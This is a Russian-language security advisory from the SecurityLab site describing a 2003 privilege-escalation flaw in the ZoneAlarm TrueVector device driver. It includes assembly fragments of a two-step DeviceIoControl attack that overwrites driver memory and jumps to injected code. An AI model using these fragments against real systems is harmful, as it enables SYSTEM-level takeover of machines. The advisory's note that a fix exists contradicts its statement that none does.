Security Lab

Выполнение произвольного кода в ZoneAlarm

Дата публикации:06.08.2003
Дата изменения:17.10.2006
Всего просмотров:1306
Опасность:
Низкая
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: ZoneAlarm 4.x
ZoneAlarm Plus 4.x
ZoneAlarm Pro 2.x
ZoneAlarm 3.x
Zone Labs Integrity 2.x
ZoneAlarm Pro 3.x
ZoneAlarm Pro 4.x
Zone Labs Integrity 4.x
Zone Labs Integrity 3.x
Описание: Уязвимость обнаружена в драйвере устройства в ZoneAlarm. Атакующий может получить полный контроль над уязвимой системой.

Посылая специально обработанное форматированное сообщение к ZoneAlarm Device Driver (VSDATANT - TrueVector Device Driver), атакующий может перезаписать часть памяти драйвера устройства. В результате атакующий может выполнить произвольный код на системе:

Первый сигнал должен быть послан, чтобы перезаписать определенный участок памяти, в нашем случае, этом может быть один из операторов условного перехода:

    
push 0                                     ;overlapped 
     push offset bytes_returned                 ;bytes returned 
     push 4                                     ;lpOutBuffer size 
     push STATMENT_INSTRUCTION_POINTER          ;memory to overwrite 
     push 0                                     ;lpInBuffer size 
     push 0                                     ;lpInBuffer 
     push 8400000fh                             ;guess what X-D 
     push vsdatant_handle                       ;device handle 
     call DeviceIoControl                       ;send it! 
Правильный STATMENT_INSTRUCTION_POINTER должен перезаписать адрес к 00060001h (например). После распределения памяти в этом адресе (вставка shellcode bla bla bla), второй сигнал должен быть послан, чтобы внедриться во вставленный код. Это может быть сделано посылкой другого сигнала:
    LpInBuffer: 
     db STATMENT_OVERWRITTEN_NUMBER                     ;where to jump 
     db 7 dup (0)                                       ;data? 
     dd temp_buff                                       ;temp buffer 
     db 10 dup (0)                                      ;some space 
После посылки второго фальшивого сообщения, драйвер устройства перейдет к STATEMENT оффсету, который был перезаписан первым "сигналом". В результате атакующий может получить выполнить произвольный код с SYSTEM привилегиями.

Уязвимость обнаружена в Local ZoneAlarm Firewall все версии (проверено на 3.1)

Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: [sec-labs] Zone Alarm Device Driver vulnerability